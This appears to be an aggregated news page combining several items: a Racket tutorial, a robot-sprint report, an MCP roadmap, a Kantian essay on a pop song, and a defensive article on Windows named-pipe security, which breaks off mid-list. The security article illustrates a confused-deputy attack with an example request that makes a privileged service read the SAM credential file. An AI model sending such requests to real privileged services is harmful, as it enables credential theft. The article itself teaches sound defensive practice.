  • Garbage collection — invented for Lisp.
  • First-class functions — passing functions as arguments, now standard everywhere.
  • The REPL — the interactive read-eval-print loop that Python, Node, and Julia all have today started in Lisp.
  • Conditionals as expressions — the if that returns a value.
  • Homoiconicity — code is a data structure of the language itself. This is the big one. We'll come back to it at the end.

For decades, Lisp was the language of artificial intelligence. In the 70s and 80s there were physical computers designed to run Lisp directly: the Lisp Machines built by Symbolics and LMI. Then came the "AI winter," funding dried up, and Lisp went from star to cult language.

But interesting ideas don't die they mutate, that's part of the beauty of the lisps.

From Lisp to Scheme to Racket

In 1975, Gerald Sussman and Guy Steele created Scheme : a minimalist, elegant, almost mathematical Lisp. Scheme became academia's favorite language for teaching programming (the legendary book SICP Structure and Interpretation of Computer Programs is written in Scheme).

In 1995, Matthias Felleisen's group created PLT Scheme , a Scheme designed for education and programming language research. In 2010 it was renamed Racket , and today it's much more than a Scheme: it's a language for building languages . Its unofficial motto is language-oriented programming : if your problem needs its own language, Racket lets you build one in an afternoon.

Year Event
1958 McCarthy invents Lisp at MIT
1975 Sussman and Steele create Scheme
1984 Common Lisp is standardized
1995 PLT Scheme (now Racket) is born
2007 Clojure is born (Lisp on the JVM)
2010 PLT Scheme is renamed Racket
Today You, reading this, about to write parentheses UwU

Who uses Lisp today ?

More people than you might think:

  • Clojure runs in production at banks, airlines, and startups (Nubank, the largest digital bank in Latin America, runs on Clojure).
  • Common Lisp (with the SBCL compiler) is still alive in expert systems, flight planning (ITA Software, acquired by Google, powered Google Flights), and scientific computing.
  • Emacs Lisp — millions of people run Lisp every day without knowing it, because their editor is a Lisp interpreter.
  • Guile/Guix — an entire Linux distribution configured 100% in Scheme.
  • Racket has its own annual conference (RacketCon), an active academic and artistic community, and is used for language research, formal verification (Rosette), typography and publishing (Pollen), and education around the world.
  • And new Lisps keep appearing: Fennel (a Lisp that compiles to Lua, popular for games), Janet , Hy (a Lisp on top of Python)...

Easter egg for TADC fans:

TADC

In The Amazing Digital Circus (episode 8, "hjsakldfhl"), when Kinger opens the terminal to try to reset Caine, you can see that Caine (a creative AI built in 1996) is programmed in Lisp. The file is literally named Caine-core.lisp .


Installation (5 minutes)

  1. Go to https://racket-lang.org
  2. Download the installer for your system (Linux, macOS, Windows).
  3. Open DrRacket , the environment that comes included.

DrRacket has two areas: at the top you write your definitions (your program), and at the bottom you have the REPL for live experimentation. On the first line of the definitions area, write:

That line tells Racket which language you're using (remember: Racket is a language factory, so you have to pick one).

If you prefer the terminal: the racket command gives you a REPL, and raco is the package manager and tooling command.


In the REPL, try:

> (+ 1 2)
3
> (* 3 (+ 2 2))
12
> (string-append "hello " "world")
"hello world"

The rule of Lisp fits in one line:

Everything is (operator argument1 argument2 ...) . Always. No exceptions.

There's no operator precedence to memorize, no special syntax for anything. (+ 1 2) adds. (if ...) decides. (define ...) names. The parentheses that look intimidating at first are actually the complete absence of arbitrary rules. After a week, you stop seeing them.


Definitions and functions

#lang racket

(define pi-approx 3.14159)

(define (circle-area r)
  (* pi-approx r r))

(circle-area 2)   ; => 12.56636
  • define with a name creates a constant.
  • define with (name arguments...) creates a function.
  • Comments start with ; .

Anonymous functions use lambda (yes, that lambda Church's lambda calculus from the 1930s is the theoretical grandparent of all this):

(lambda (x) (* x x))          ; a function with no name
((lambda (x) (* x x)) 5)      ; => 25, applied directly

Lists: the heart of Lisp

Lisp stands for LIS t P rocessing. Lists are the fundamental structure:

(list 1 2 3)          ; => '(1 2 3)
'(1 2 3)              ; the same thing, "quoted"
(first '(1 2 3))      ; => 1
(rest '(1 2 3))       ; => '(2 3)
(cons 0 '(1 2 3))     ; => '(0 1 2 3)
(length '(a b c))     ; => 3

Notice the quote mark ' . It tells Racket: don't evaluate this, it's data . Hold onto that detail it's the door to the final trick.

Higher-order functions

This is where Racket shines. Passing functions to other functions is the most natural thing in the world:

(map (lambda (x) (* x x)) '(1 2 3 4 5))
; => '(1 4 9 16 25)

(filter even? '(1 2 3 4 5 6))
; => '(2 4 6)

(foldl + 0 '(1 2 3 4 5))
; => 15

map transforms, filter selects, foldl accumulates. With those three functions you can solve most list problems without writing a single for loop.


Recursion: thinking in spirals

In Lisp you don't think "repeat N times" you think "what's the base case, and how do I move toward it?":

(define (factorial n)
  (if (= n 0)
      1
      (* n (factorial (- n 1)))))

(factorial 5)   ; => 120

And to make things visual, let's draw something. Racket ships with graphics libraries included:

#lang racket
(require 2htdp/image)

(define (sierpinski level)
  (if (= level 0)
      (triangle 8 "solid" "purple")
      (let ([t (sierpinski (- level 1))])
        (above t (beside t t)))))

(sierpinski 6)

Paste it into DrRacket, press Run, and watch the Sierpinski triangle appear on your screen.


The grand finale: code that writes code

Remember the quote mark ' : it turns code into data. Watch:

'(+ 1 2)          ; => the LIST (+ 1 2), not the number 3
(first '(+ 1 2))  ; => the symbol +
(eval '(+ 1 2))   ; => 3. You just evaluated data as code.

Your program is a list. You can build lists. Therefore: you can build programs with programs . This is homoiconicity , and it's why Lisp has real macros not text macros like in C, but functions that receive code and return code, before anything runs.

Racket doesn't have a while loop? Let's invent one:

(define-syntax-rule (while condition body ...)
  (let loop ()
    (when condition
      body ...
      (loop))))

(define counter 0)
(while (< counter 5)
  (displayln counter)
  (set! counter (+ counter 1)))

You just extended the language ! in Lisp, the syntax is yours.

Alan Kay called Lisp "the Maxwell's equations of software" : a tiny core from which everything else can be derived.


What next?

Kurosawa_Ruby_Holding_SICP


Stalking the Wily Hacker: 40 years later

Lobsters
youtu.be
2026-08-22 09:48:24
Comments...

Chinese robot runs 100M sprint quicker than Usain Bolt's world record

Hacker News
www.theguardian.com
2026-08-22 09:39:07
Comments...
Original Article

A ⁠robot named Lightning ⁠has run ​the 100m in 9.32 seconds, ⁠beating the human world ⁠record, China’s ​state broadcaster ‌has reported.

The humanoid, developed by the Chinese smartphone manufacturer Honor, ‌reached a peak speed of 14.5 metres per second during ‌a test event for ​the second World Humanoid Robot Games, which ⁠began on Saturday. The ​performance surpassed ​the ​9.58sec men’s ​100m world record ​set ​by Usain Bolt 17 years ago at the World Athletics Championships in Berlin.

China has been promoting humanoid robots as an emerging industry, with policymakers and companies ‌betting that advances in AI and hardware will accelerate their deployment in manufacturing, logistics ​and consumer applications.

A robot holding a tennis racket dives for the ball.
A robot dives for the ball during a tennis match with a human player in Beijing. Photograph: Florence Lo/Reuters

Lightning also won the Beijing half marathon in April in 50 minutes and 26 seconds, faster than the men’s world record. The robot stood 169cm tall and ​had ​95cm-long legs at ​the half marathon. Researchers have since lengthened ​its legs ‌by 10​cm for these Games.

More than 2,000 humanoid robots were participating in the five-day games, now in its second year, a spectacle intended to demonstrate China’s rapid progress in advanced robotics as the technology race with the US heats up. There are 51 events and more than 1,000 competitions taking place including running, table tennis and football.

The games, which are taking place in the National Speed Skating Oval built for the 2022 Winter Olympics, opened the same week as Beijing held the 2026 World Robot Conference, where companies showcased around 3,000 products, including humanoid robots. China makes the majority of the world’s humanoid robots.

Last month, the US Federal Communications Commission announced a ban on imports of new foreign-made humanoid robots. The FCC cited national security reasons in a move that targeted China. The Pentagon recently also added Unitree, one of China’s leading humanoid robot makers, to its list of companies that it deemed have ties with the Chinese military. Beijing has hit back at the accusations.

At Saturday’s opening of the robot games, the organisers and robot makers said that Chinese humanoid robots defeated human world records, as hundreds of humanoid robots marched in formation on to the field in a massive display of synchronised coordination.

In a standing high jump, a humanoid robot was able to reach 2.88m, well above the 0.95m best result by a humanoid in last year’s first edition of the games . It surpassed the human high jump record of 2.45m set by Cuba’s Javier Sotomayor in 1993. Both robots were from Beijing-based X-Humanoid.

Experts say humanoid robots are still mostly used for demonstrations, performances and research – at least for now – and it will take time to achieve mass real-world deployment. Some spectators at the robot games said they were excited about the humanoid robots’ quickly improving abilities.

skip past newsletter promotion

Humanoid robots are “evolving rapidly”, said Li Yanfeng, an education worker and a Beijing resident. “At first, I wasn’t very accepting of artificial intelligence. I was even a bit resistant to it, because of the possibility that it might replace or displace humans,” she said. “But now that I see this development is unstoppable, I decided to come and take a look.”

Yang Shangzheng, another spectator, said: “These sports are perfectly normal for humans, but now robots can do them. I find it amazing.” Liu Tao, who was watching the games with his son, said he was hoping to see “the best robots China currently has to offer”.

This year’s robot games – which the organisers say has 16 countries participating, among them Germany, Japan and the US – also includes other events such as weightlifting and tug of war.

The New MCP Roadmap

Hacker News
blog.modelcontextprotocol.io
2026-08-22 09:31:34
Comments...
Original Article

Today we’re excited to publish an updated roadmap for the Model Context Protocol (MCP), covering the next specification release and beyond.

The roadmap sets the direction for protocol work over the coming months. It was developed by the Core Maintainers together with our community of maintainers and Working Groups.

Explore the roadmap

Priority areas

The roadmap is organized into five priority areas. Several of them pick up work that the previous roadmap listed as on the horizon, including server-initiated events, result type improvements, and agent identity, which have since matured enough to become priorities in their own right. Each area is owned by a set of Core Maintainers and one or more Working Groups.

MCP Roadmap: five priority areas, agentic messaging primitives, HTTP-native transport unification and hardening, agent identity and enterprise-ready security, improved primitives, and improved SDK developer experience.

Agentic messaging primitives

Modern agentic workloads no longer fit the standard request-and-response pattern . Loops can run for longer, servers can push streamed results, and there is a clear need to steer work mid-flight. MCP has been growing to meet these requirements, introducing Tasks , subscriptions/listen , and progress notifications . We want to make sure that we not only offer the right primitives for the job, but also that they work well together. The work here spans server-initiated events (webhooks and channels, so clients aren’t left polling for results), a composition review across the Agents , Transports, and Triggers & Events Working Groups, and maturing the Tasks extension ( SEP-2663 ) so it can move into the specification.

HTTP-native transport unification and hardening

With the 2026-07-28 release , a remote MCP server is now no different from any other HTTP workload, making it easy to host and operate one on any infrastructure that developers and organizations already use for their APIs and services. The model has proven to scale, and we want to stretch it to cover other deployment modes as well, including local servers speaking Streamable HTTP over stdio . Unifying on one transport lets us simplify MCP server and client development even further.

Agent identity and enterprise-ready security

MCP authorization today is built around a person approving access in a browser. That works well for interactive clients, but more and more of the callers are agents running as cloud workloads with their own identity, acting on behalf of a user who isn’t present, or delegating narrower authority to sub-agents. We want MCP servers to have a standardized way to recognize and trust those agent identities, built on existing standards rather than pasted API keys and long-lived tokens.

The work here covers finalizing Demonstrating Proof of Possession (DPoP) and driving its adoption, and defining an opinionated path for agent identity and delegation through Workload Identity Federation , the ID-JAG grant behind Enterprise-Managed Authorization , and standard token exchange. We will also continue to grow our engagement with the OAuth standards bodies, including the IETF OAuth and WIMSE working groups, to help the underlying standards evolve with the building blocks that agent identity needs.

Improved primitives

Tool calling is the part of MCP most developers touch first, and it has held up well over the lifetime of the protocol. Where it falls a bit short, however, is in the result handling. A tools/call response can carry the same output in more than one form, and a server developer today has no way to know which form a given client will put in front of the model. We aim to make this easier by standardizing on one clear contract.

The other challenge we need to address for primitive use is their ever-growing scale. Connecting to a server with a hundred tools means the model pays for that entire surface before the user has asked a single question, and tool selection tends to get worse as the list grows. We’re starting a progressive discovery effort so a server can offer a small entry point and reveal more of its catalog as the conversation narrows.

Improved SDK developer experience

Our SDKs are how developers experience MCP. We are investing in their ergonomics and their conformance with the specification , and in making them intuitive and well-documented across every platform and language we support. This is even more important now that many developers build MCP clients and servers by pointing an agent at our libraries, where clear APIs and accurate docs decide whether the code will work with minimal friction.

Proposal prioritization

Specification Enhancement Proposals (SEPs) that fall within these priority areas get expedited review and have the best chance of acceptance. Proposals outside them aren’t rejected automatically, but maintainer review time is scarce and goes to the roadmap first.

If you’re considering a SEP, identify the priority area it belongs to, raise it with the relevant Working Group , and work with its members to shape your proposal. Each area on the roadmap names the Core Maintainers responsible for it, and anyone interested in contributing can reach them on Discord . We’re excited to work with the community to review and build on the proposals that support this roadmap.

Get involved

Every priority area above has a Working Group behind it or forming around it, and all of them have room for more contributors. There are several ways to participate:

We look forward to growing and evolving MCP together!

A Kantian Critique of "Sorry" by Justin Bieber

Hacker News
decodingvibes.com
2026-08-22 09:24:06
Comments...
Original Article

5 min read

by Suranjan Das

pop culture music philosophy not serious

The central moral question posed in the 2015 song “Sorry” by Justin Bieber, i.e., “Is it too late to say sorry?” is actually not a moral question at all when viewed through a Kantian lens. The question in itself contains the answer: yes, it is too late to say sorry, not in the sense that has anything to do with the nature of time, but rather the form of the question itself shows that the song fundamentally misunderstands what an apology is.

When we consider the question’s implications, Bieber is not asking “What do I owe to the person I have wronged?” Instead, the question primarily asks whether saying sorry is still worth anything. Utilizing a language of strategy instead of duty, such as “Could someone call a referee?” or “one more shot at forgiveness” further indicates that the question might not be asked in good faith.

If one’s apology becomes a means towards an end, then it is a hypothetical imperative. You expect to gain forgiveness by using the apology. A moral obligation, however, does not depend on whether the desired consequence remains available. The song’s question of whether it is too late shows that Bieber measures the value of this apology by what it can accomplish.

One’s admissions of wrongdoing do not change this either. He claims “I made those mistakes maybe once or twice” , and then admits, “maybe a couple of hundred times” . Therefore, Bieber cannot claim ignorance of the fact that he has wronged someone. However, the song does not seem focused on this. It continues, “So let me redeem myself tonight” and “I just need one more shot at second chances.” The concern thus shifts immediately from the wrong done to the apparent consequences suffered by the wrongdoer. But moral redemption is not restoring one’s preferences.

If one was acting from duty, their maxim would be simpler: I have done wrong; therefore I ought to acknowledge it. Whether forgiveness is possible is irrelevant, and the same goes for whether he gets another chance or not. If, in this form, the apology is valuable only because it can secure a second chance or redemption, then it is not a moral duty; it is merely a potentially useful strategy.

Further in the song, Bieber clarifies that he’s “missing more than just your body”. This is the real reason for which the apology is being rendered. He is not confronting the wrong he committed; instead, he is confronting the loss of something he desired. His attempt to qualify his intention by claiming that his feelings of missing encompass “more than just your body” does not solve this problem either. It just tells us that he values the affection, perhaps companionship, and the general relationship itself. But the categorical imperative requires treating another person as an end in itself, not as a means to satisfy one’s desires. Thus, we can ask ourselves: would the apology still be rendered if Bieber knew for sure there is no second chance or redemption? If not, then the apology was rendered not because of the wrong done in the first place, but to restore what the wrongdoer lost.

In later verses, the lyrics seem to reinforce this suspicion. The line “I’ll take every single piece of the blame if you want me to” is morally revealing. If one considers themselves responsible for a wrong done, that responsibility can not depend on the victim’s request. One either takes the responsibility in good faith, or they do not at all. Furthermore, the song states “there is no innocent one in this game for two” which again reveals that instead of offering a moral apology, the song seems to consider wrongdoing as a contest in which the guilt of the other party is enough to diminish their own. But another person’s misconduct cannot alter the maxim by which he acted.

Finally, the lyrics “can we both say the words and forget this?” highlight that the objective is closure rather than moral acknowledgment. Bieber qualifies his position again with “I’m not just tryna get you back on me” but the denial does little to resolve the problem once more. One’s moral worth absolutely cannot be established just by declaring the purity of their motives. The maxim must be examined instead. If the maxim is “When I have wronged someone and fear losing them, I will apologize in the hope of regaining them,” then the apology remains hypothetical, and more importantly, fundamentally self-interested.

Thus, the song’s central question ironically reveals the very moral failure it seems to try to repair . “Is it too late?” in this context translates to “is an apology still capable of getting what I want?” Once an apology is evaluated by whether it can secure forgiveness and reconciliation, it ceases to be an action grounded in duty . So, yes, it is too late to say sorry, as the song conceives it.

This, however, does not stop Bieber from doing what morality requires: accepting the wrong without demanding anything in return. Instead of asking whether it was too late to say sorry, the moral thing to do would have been to just say it.

However, even though the question has a clear objective moral answer, we cannot attribute any moral judgment to Bieber as a human being; we can only answer the moral question as posed in the song. If one were to consider another interpretation of the song itself, the question posed might not be in a moral context, but rather as a rhetorical device, i.e., the artist knows the song is not talking about a sincere apology, but rather it is pointing out that we can often say sorry insincerely just because we miss more than their body. This can also explain the intentional decision to pair an upbeat dance track with lyrics that, on the surface, seem to be about something much more serious.

Named Pipes Under Attack: Securing Windows Interprocess Communication

Bleeping Computer
www.bleepingcomputer.com
2026-08-22 09:00:09
Windows named pipes provide fast interprocess communication, but weak access controls can expose privileged services to untrusted processes. ThreatLocker explains how endpoint verification, command authorization, strict input validation, and narrowly scoped privileges can help secure named-pipe comm...
Original Article

Named Pipe header

Written by: Farid Mustafayev, Cybersecurity Expert at ThreatLocker

Named pipes are a common choice for communication between applications running on the same Windows computer. They are fast, supported directly by the operating system, and work well for communication between Windows services, desktop applications, tray processes, command-line utilities, and background agents.

A typical design may include a privileged Windows service acting as the named-pipe server while a user-facing application connects as the client. Because both processes run on the same computer, developers often treat this communication as internal and therefore trusted.

In practice, the pipe is accessible from an environment where many unrelated processes may be running under different users, sessions, and security contexts.

Local Does Not Mean Trusted

Named pipes are often treated as private because they are used for communication between applications on the same computer. That assumption is unsafe.

A Windows workstation may run processes under LocalSystem , administrators, standard users, service accounts, and separate interactive or remote sessions. It may also contain third-party software, scripts, diagnostic tools, and malware operating under a compromised account.

Any process that knows the pipe name and has sufficient access rights can attempt to connect. Windows does not inherently know which executable the developer intended to use the pipe.

For that reason, a named pipe should be treated as an exposed local interface. Before processing a request, the application must determine who connected, what that identity is allowed to do, and whether the supplied data is safe.

Identity, Access Control, and Privilege Boundaries

The risk is greatest when a privileged Windows service communicates with a less privileged desktop application.

A service running as LocalSystem may be able to modify protected files and registry keys, launch processes, change system configuration, access other users’ data, or communicate with kernel drivers. When these operations are exposed through a named pipe, the pipe becomes an API to privileged functionality.

A successful connection proves only that the client was allowed to open the pipe. It does not prove that:

  • the client is the expected application;
  • the connected user is authorized;
  • the requested operation is permitted;
  • the supplied command is safe.

Pipe permissions should therefore be defined explicitly and restricted to the smallest appropriate set of identities. Broad permissions for Everyone , Authenticated Users , or all interactive users may allow unrelated processes to reach the pipe.

Authentication and authorization must also remain separate. A user may be allowed to query service status but not stop the service, change protected settings, launch processes, or access arbitrary files. Sensitive commands should be authorized individually.

Impersonation can help by performing operations under the client’s security context, but it must be handled carefully. The server should verify that impersonation succeeded, limit the work performed while impersonating, and always restore its original identity.

Untrusted Servers, Commands, and Data

The client must verify the server just as the server verifies the client.

A predictable pipe name is only an identifier. It is not a secret and does not prove which process created the pipe. An attacker may create a pipe using the expected name before the legitimate server starts, causing the client to connect to an attacker-controlled process.

The first-pipe-instance option can help detect that the name has already been claimed, but it does not replace proper access controls or server identity verification.

Messages received through the pipe must also be treated as untrusted input. Even an authenticated client may send:

  • malformed or oversized payloads;
  • invalid file or registry paths;
  • unsupported command combinations;
  • corrupted serialized objects;
  • values designed to trigger error conditions.

A privileged service that converts such input directly into file, registry, process, or command-line operations may become a confused deputy: the attacker supplies the instruction, while the service supplies the privileges.

Requests should use strict message framing, bounded sizes, command allowlists, schema validation, path normalization, operation-specific authorization, and safe error handling.

Availability and Remote Exposure

Named-pipe security is not limited to privilege escalation and unauthorized commands.

A malicious or malfunctioning process may repeatedly connect, hold connections open, send incomplete messages, or submit requests that consume excessive CPU, memory, or kernel resources.

The server should use connection limits, timeouts, cancellation, bounded message sizes, controlled concurrency, and rate limiting where appropriate.

It is also unsafe to assume that every named pipe is reachable only from the local computer. Windows named pipes can support remote access in some configurations.

Pipes intended exclusively for local IPC should explicitly block network identities such as NT AUTHORITY\NETWORK , or use a mechanism that guarantees local-only communication.

The correct threat model is simple: every named-pipe connection should be considered potentially hostile until the client or server identity, permissions, requested operation, and message contents have all been verified.

When a Named Pipe Becomes a Security Boundary

A named pipe becomes a security boundary when the processes on its two ends run with different privileges or operate under different trust levels.

A common example is a Windows service running as LocalSystem and a desktop application running under a standard user account. The service may be able to modify protected files and registry keys, start processes, change system-wide configuration, access data belonging to other users, or communicate with a kernel driver. The desktop application normally cannot perform those operations directly.

When the service accepts commands through a named pipe, the pipe becomes an interface to those privileged capabilities. Any weakness in the pipe’s permissions, identity checks, command validation, or authorization logic can allow an untrusted local process to misuse the service’s privileges.

A successful connection does not prove that the client is the expected application. It proves only that the connecting process had sufficient permission to open the pipe. Another process running under the same user account may have exactly the same access. The server must therefore validate the security identity behind the connection rather than relying on the process name, executable path, or secrecy of the pipe name.

The server must also authorize each operation separately. A client that is allowed to request service status should not automatically be allowed to stop the service, modify protected configuration, launch a process, or request access to an arbitrary file.

Authentication determines who connected; authorization determines what that identity may do.

This distinction is especially important when the server processes client-controlled paths, command-line arguments, registry locations, executable names, or serialized commands. Without strict validation, the service can become a confused deputy: the client chooses the action, but the privileged service performs it.

For example, a seemingly harmless request such as:

Read file: C:\ProgramData\Product\status.json

may become dangerous if the client can replace the path with:

Read file: C:\Windows\System32\config\SAM

The same problem applies to requests that start processes, delete files, update registry values, install components, or communicate with a driver. The service must not merely validate that the command is syntactically correct. It must verify that the connected identity is permitted to perform that exact operation against that exact resource.

A secure named-pipe server should therefore apply several checks before executing a privileged request:

  • verify the connected client’s Windows identity;
  • restrict access through an explicit pipe security descriptor;
  • authorize each command independently;
  • validate all paths, arguments, identifiers, and payload sizes;
  • reject unsupported or ambiguous operations;
  • avoid exposing general-purpose privileged functionality.

The last point is critical. A command such as “write this value to any registry key” creates a much larger attack surface than a narrowly defined command such as “update this specific application setting.” The more general the pipe protocol becomes, the more closely it resembles a privileged local API—and the more carefully it must be secured.

The correct design principle is straightforward: the pipe server must never perform an operation solely because a connected client requested it. It should perform the operation only after confirming who requested it, whether that identity is authorized, and whether the request stays within narrowly defined security boundaries.

Access Control and Client Authorization

A named-pipe server should decide who may connect before it begins processing messages. This starts with an explicit security descriptor that grants access only to the required Windows identities, such as a particular user SID, service account, administrator group, or logon session.

The pipe’s DACL controls access to both ends of the named pipe. When a client attempts to connect, Windows compares the client’s access token and requested rights with that DACL. Relying on the default descriptor is risky because its permissions may be broader than the application requires.

Access to the pipe does not automatically authorize every available command. A client may be allowed to retrieve status information while being denied permission to modify configuration, start processes, or access protected files. Authorization should therefore be performed for each sensitive operation rather than only once when the connection is established.

For local application-to-application communication, the applications can also inspect the process associated with the opposite end of the pipe:

  • the server can call GetNamedPipeClientProcessId ;
  • the client can call GetNamedPipeServerProcessId .

These Windows APIs return the process identifier associated with the connected client or server. They should be called only after the pipe connection has been established.

The following C# helper retrieves the peer PID using native Windows APIs:

[DllImport("kernel32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool GetNamedPipeClientProcessId(SafePipeHandle pipe, out uint clientProcessId);

[DllImport("kernel32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool GetNamedPipeServerProcessId(SafePipeHandle pipe, out uint serverProcessId);

We can also call another function from kernel32.dll , QueryFullProcessImageName , to retrieve the executable path from a process handle opened with PROCESS_QUERY_INFORMATION or PROCESS_QUERY_LIMITED_INFORMATION . The returned path can then be compared with the expected executable location as an additional verification step.

On the server side, verification should occur immediately after accepting the connection and before reading or executing commands:

The expected executable should be located in a directory that standard users cannot modify. Otherwise, an attacker may replace the file while retaining the expected path.

For stronger verification, the application can additionally validate the executable’s Authenticode signature or compare it with an approved cryptographic hash. Windows provides WinVerifyTrust for validating signed executable files.

However, a PID and executable-path check must remain a secondary control rather than the primary authorization mechanism. Security research has demonstrated ways to spoof the PID reported for a named-pipe client and ways to transfer a connected pipe handle to another process. The returned PID may identify the process that opened the connection without proving which process is currently sending every message.

A secure implementation should therefore combine several controls:

  • an explicit and restrictive pipe DACL;
  • verification of the client’s Windows identity or SID;
  • authorization for each privileged command;
  • strict validation of message contents;
  • optional PID, executable-path, signature, or hash verification as defense in depth.

The connection should be rejected whenever identity verification fails or cannot be completed. A privileged service should never fall back to accepting the request merely because the pipe connection itself succeeded.

Impersonation and Privileged Operations

A named-pipe server often runs with more privileges than the client connected to it. For example, a Windows service may run as LocalSystem , while the client application runs under a standard user account. If the service performs every requested operation under its own identity, the client may indirectly gain access to files, registry keys, processes, and system resources that it could not access directly.

Named-pipe impersonation allows the server to temporarily execute code under the security context of the connected client. Windows then evaluates resource access using the client’s token rather than the service account’s token.

In .NET, NamedPipeServerStream.RunAsClient provides a controlled way to impersonate the connected client:

server.WaitForConnection();

server.RunAsClient(() =>
{
    string path = @"C:\ProgramData\MyApplication\settings.json";

    // Access is checked using the connected client's identity.
    string content = File.ReadAllText(path);

    ProcessClientData(content);
});

This approach is useful when the client should be able to perform an operation only if its own Windows account already has permission. For example, impersonation can be used when reading a user-owned file, accessing a user-specific registry key, or validating whether the client has access to a protected resource.

However, impersonation is not a replacement for authorization. A server should still verify that the client is allowed to request the operation. Impersonation only changes the security context under which Windows performs access checks; it does not determine whether the command itself is appropriate.

A privileged service should also avoid switching unnecessarily between the client identity and the service identity. Consider a request that asks the service to read a file and then install its contents as configuration.

The file may be read while impersonating the client, but the installation may occur later under LocalSystem . In that case, the client can still influence a privileged operation even though part of the request was processed under impersonation.

The safer design is to separate the operation into clearly defined stages:

  1. Authenticate and authorize the client.
  2. Validate all client-controlled paths, arguments, and data.
  3. Impersonate only for operations that should use the client’s permissions.
  4. Return to the service identity before performing narrowly defined privileged work.
  5. Revalidate any data crossing from the impersonated stage into the privileged stage.

The impersonation scope should be as small as possible. Long-running work, callbacks, asynchronous operations, and unrelated service logic should not execute under the client’s identity.

When native Windows APIs are used, the same pattern applies:

[DllImport("advapi32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool ImpersonateNamedPipeClient(SafePipeHandle pipe);

[DllImport("advapi32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool RevertToSelf();

The server must check whether ImpersonateNamedPipeClient succeeded and must always call RevertToSelf in a finally block:

if (!ImpersonateNamedPipeClient(server.SafePipeHandle))
{
    throw new Win32Exception(Marshal.GetLastWin32Error());
}

try
{
    // Runs under the connected client's security context.
    PerformClientScopedOperation();
}
finally
{
    if (!RevertToSelf())
    {
        throw new Win32Exception(Marshal.GetLastWin32Error());
    }
}

Failure handling is critical. If impersonation fails and the service continues processing, the operation may execute under the service’s original privileged identity. A failed impersonation attempt must therefore cause the request to be rejected rather than silently falling back to the server account.

The same principle applies after impersonation. The application must reliably restore its original identity before processing another client or performing unrelated work. Otherwise, later operations may accidentally execute under the previous client’s context.

Privileged pipe commands should also be narrow and purpose-specific. A command such as:

Write any value to any registry key

creates a much larger attack surface than:

Update the application's approved policy setting

The service should not expose general-purpose file access, registry modification, process creation, or command execution merely because it can perform those operations. Each privileged command should define exactly which resources may be accessed, which values are accepted, and which client identities may invoke it.

Impersonation is most effective when used as one layer in a broader security design. The server should still enforce restrictive pipe permissions, verify the connected client, authorize each command, validate every request, and keep privileged operations narrowly scoped.

Treating Pipe Messages as Untrusted Input

Verifying the process connected to a named pipe does not make its messages safe. The legitimate application may be compromised, contain a vulnerability, or pass user-controlled data to the pipe. A malicious process may also obtain or inherit a valid pipe handle.

For this reason, every message received through a named pipe should be treated as untrusted input. The server should validate both the structure of the message and the operation it requests before performing any privileged action.

A dangerous implementation may deserialize a request and execute it directly:

PipeRequest request = Deserialize(data);

File.WriteAllText(request.Path, request.Content);

Even when request has the expected structure, values such as Path and Content remain controlled by the client. A privileged service could therefore be instructed to overwrite files outside the application directory, modify protected configuration, or consume excessive disk space.

The safer approach is to expose narrowly defined commands and validate every field:

private static void ProcessRequest(PipeRequest request)
{
    if (request == null)
        throw new InvalidDataException("The request is missing.");

    switch (request.Command)
    {
        case PipeCommand.UpdateConfiguration:
            ValidateConfiguration(request.Configuration);
            UpdateApprovedConfiguration(request.Configuration);
            break;

        case PipeCommand.GetStatus:
            ReturnApplicationStatus();
            break;

        default:
            throw new InvalidDataException("Unsupported command.");
    }
}

The protocol should avoid general-purpose operations such as:

WriteFile(path, content)
StartProcess(path, arguments)
SetRegistryValue(key, name, value)
ExecuteCommand(command)

These commands allow the client to choose both the privileged operation and its target. Prefer application-specific requests whose permitted behavior is controlled by the server:

UpdateApplicationConfiguration(configuration)
RequestApplicationRepair()
InstallApprovedUpdate(updateId)
GetServiceStatus()

Validate Message Structure and Size

A named-pipe connection is a byte stream unless the application deliberately uses message transmission mode. A single Read call is not guaranteed to return the complete application message, and the server should not assume that read boundaries correspond to request boundaries.

The protocol should define explicit message framing, such as a fixed-size header followed by a length-prefixed payload:

[Version][Command][Payload Length][Payload]

The declared length must be validated before allocating memory or reading the payload:

private const int MaxMessageSize = 1024 * 1024;

private static async Task<byte[]> ReadPayloadAsync(
    Stream pipe,
    int payloadLength,
    CancellationToken cancellationToken)
{
    if (payloadLength < 0 || payloadLength > MaxMessageSize)
        throw new InvalidDataException("Invalid payload length.");

    byte[] payload = new byte[payloadLength];
    int offset = 0;

    while (offset < payload.Length)
    {
        int read = await pipe.ReadAsync(
            payload,
            offset,
            payload.Length - offset,
            cancellationToken);

        if (read == 0)
            throw new EndOfStreamException(
                "The pipe was closed before the message was complete.");

        offset += read;
    }

    return payload;
}

Without a maximum size, an attacker may declare a very large payload and force the service to allocate excessive memory. The application should also limit collection sizes, string lengths, nesting depth, and the number of objects accepted by the deserializer.

Validate Values, Not Only Types

Successful deserialization proves only that the payload could be converted into the expected object type. It does not prove that the values are acceptable.

For example, a file path should be normalized and checked against an approved directory:

private static string ValidatePath(
    string suppliedPath,
    string allowedDirectory)
{
    string fullPath = Path.GetFullPath(suppliedPath);
    string fullDirectory = Path.GetFullPath(allowedDirectory)
        .TrimEnd(Path.DirectorySeparatorChar)
        + Path.DirectorySeparatorChar;

    if (!fullPath.StartsWith(
            fullDirectory,
            StringComparison.OrdinalIgnoreCase))
    {
        throw new UnauthorizedAccessException(
            "The requested path is outside the allowed directory.");
    }

    return fullPath;
}

The same principle applies to registry paths, process arguments, URLs, identifiers, update packages, and configuration values. The server should validate each value against an allowlist or a narrowly defined range rather than attempting to block known-dangerous values.

Path checks also require care around symbolic links, junctions, reparse points, and time-of-check/time-of-use races. For sensitive file operations, validating a string path alone may not be sufficient.

Reject Invalid Requests Safely

Malformed or unauthorized messages should be rejected without continuing with partial processing. The server should avoid returning stack traces, internal paths, security tokens, or detailed exception information to the client.

Errors sent through the pipe should use a small, controlled set of response codes:

public enum PipeResult
{
    Success,
    InvalidRequest,
    Unauthorized,
    UnsupportedCommand,
    InternalError
}

Detailed diagnostic information may be written to protected service logs, while the client receives only the information required to handle the failure.

Each request should therefore pass through a predictable sequence:

  1. Read a bounded message.
  2. Validate the protocol version and message structure.
  3. Authenticate and authorize the connected client.
